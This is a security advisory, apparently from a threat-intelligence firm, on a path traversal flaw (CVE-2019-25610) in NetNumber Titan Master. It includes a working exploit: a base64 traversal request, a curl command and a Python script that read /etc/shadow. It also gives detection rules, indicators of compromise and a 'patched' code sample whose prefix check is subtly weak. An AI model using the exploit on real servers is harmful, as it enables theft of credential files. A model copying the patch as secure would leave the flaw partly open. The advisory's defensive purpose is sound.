CVE-2019-25610

Executive Summary

CVE-2019-25610 is a path traversal vulnerability in NetNumber Titan Master version 7.9.1. The flaw exists in the /drp endpoint, where authenticated users can inject directory traversal sequences (e.g., ../) via a base64-encoded path parameter. This allows attackers to bypass authorization and download arbitrary files from the server, including sensitive system files like /etc/shadow. The vulnerability has a CVSS score of 6.5 (Medium) and is currently unpatched. No public exploit code or Nuclei template is available, but the attack vector is well-documented.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary telecommunications software product (NetNumber Titan Master). No supply chain implications are identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
• Base Score: 6.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires authentication
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H) – sensitive files can be read
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires authentication, but once authenticated, an attacker can exfiltrate sensitive data (e.g., password hashes, configuration files). The lack of a patch increases risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability resides in the /drp endpoint of NetNumber Titan Master 7.9.1. The endpoint accepts a path parameter that is base64-encoded. The application decodes the parameter and uses it to read files from the filesystem without proper sanitization. By encoding directory traversal sequences (../) in base64, an attacker can escape the intended directory and read arbitrary files.

Example Attack Flow:

1. Authenticate to the Titan Master web interface.
2. Craft a request to /drp with a base64-encoded path parameter containing ../ sequences.
3. The server decodes the path and reads the file, returning its contents in the response.

Base64 Encoding Example:

• Target file: /etc/shadow
• Traversal path: ../../../../etc/shadow
• Base64 of traversal path: Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw==

Request Example:

GET /drp?path=Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw== HTTP/1.1
Host: target
Authorization: Basic <credentials>

The server fails to validate that the resolved path stays within an allowed directory, leading to arbitrary file read.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

import base64
import os

@app.route('/drp')
def drp():
    path_b64 = request.args.get('path')
    if path_b64:
        path = base64.b64decode(path_b64).decode('utf-8')
        # No path validation
        with open(path, 'r') as f:
            data = f.read()
        return data
    return "Missing path"

Patched Code (Conceptual):

import base64
import os

ALLOWED_DIR = "/var/titan/data"

@app.route('/drp')
def drp():
    path_b64 = request.args.get('path')
    if path_b64:
        path = base64.b64decode(path_b64).decode('utf-8')
        # Resolve and validate path
        full_path = os.path.realpath(os.path.join(ALLOWED_DIR, path))
        if not full_path.startswith(ALLOWED_DIR):
            return "Access denied", 403
        with open(full_path, 'r') as f:
            data = f.read()
        return data
    return "Missing path"

The patched version uses os.path.realpath to resolve the absolute path and checks that it starts with the allowed directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Valid credentials for the Titan Master web interface.
• Network access to the target server.

Steps:

1. Authenticate and obtain a session cookie or basic auth token.
2. Encode the traversal path in base64:

   echo -n "../../../../etc/shadow" | base64
   

   Output: Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw==
3. Send the exploit request:

   curl -u "username:password" "http://target/drp?path=Li4vLi4vLi4vLi4vZXRjL3NoYWRvdw=="
   

4. The server returns the contents of /etc/shadow.

Automated Exploit Script (Python):

import requests
import base64

target = "http://target"
username = "admin"
password = "password"
file_to_read = "../../../../etc/shadow"

encoded_path = base64.b64encode(file_to_read.encode()).decode()
url = f"{target}/drp?path={encoded_path}"
response = requests.get(url, auth=(username, password))
print(response.text)

Blue Team (Defense & Detection)

Detection:

• Monitor for base64-encoded strings in HTTP GET parameters to /drp.
• Look for patterns like Li4v (base64 for ../) in request logs.
• Alert on requests to /drp with unusual path lengths or multiple ../ sequences.

Mitigation:

• Apply input validation to ensure the decoded path stays within an allowed directory.
• Use a whitelist of allowed files or directories.
• Implement strict file access controls on the server.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /drp with a path parameter containing base64-encoded strings.
  • Base64 strings that decode to paths with ../ sequences (e.g., Li4v).
  • Unusual file reads from /etc/shadow, /etc/passwd, or other sensitive files.

• File System IOCs:

  • Unexpected access to /etc/shadow, /etc/passwd, or application configuration files.
  • Log entries showing file read errors for paths outside the allowed directory.

• Log IOCs:

  • Web server logs showing requests to /drp with long or suspicious path parameters.
  • Application logs indicating file read operations on sensitive paths.

Detection Engineering

YARA Rule

rule CVE_2019_25610_Path_Traversal {
    meta:
        description = "Detects base64-encoded path traversal attempts in HTTP requests to /drp"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2019-25610"
    strings:
        $b64_traversal = /[A-Za-z0-9+\/]{4,}={0,2}/  // base64 pattern
        $path_drp = "/drp"
        $traversal_seq = "Li4v"  // base64 of "../"
    condition:
        $path_drp and #b64_traversal > 0 and $traversal_seq
}

Sigma Rule

title: CVE-2019-25610 Path Traversal via Base64
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects base64-encoded path traversal attempts in HTTP requests to /drp
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/drp'
        cs-uri-query|contains: 'path='
    filter:
        cs-uri-query|contains: 'Li4v'  # base64 of "../"
    condition: selection and filter
falsepositives:
    - Legitimate use of base64 encoding for non-malicious purposes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2019-25610 Path Traversal Attempt"; flow:to_server,established; content:"/drp"; http_uri; content:"path="; http_uri; pcre:"/Li4v/R"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system if possible, or restrict network access to trusted users only.
2. Implement a Web Application Firewall (WAF) rule to block requests to /drp with base64-encoded traversal sequences.
3. Monitor logs for suspicious file read attempts.

Long-Term Fix:

• Since no official patch is available, apply a virtual patch or custom code fix:
  • Validate that the decoded path resolves to an allowed directory.
  • Use os.path.realpath() and check the prefix.
  • Restrict file read permissions on the server.

Workarounds:

• Disable the /drp endpoint if not required.
• Implement strong authentication and session management.
• Use file integrity monitoring to detect unauthorized file access.

Valters IT
DevSecOps & Cyber Threat Intelligence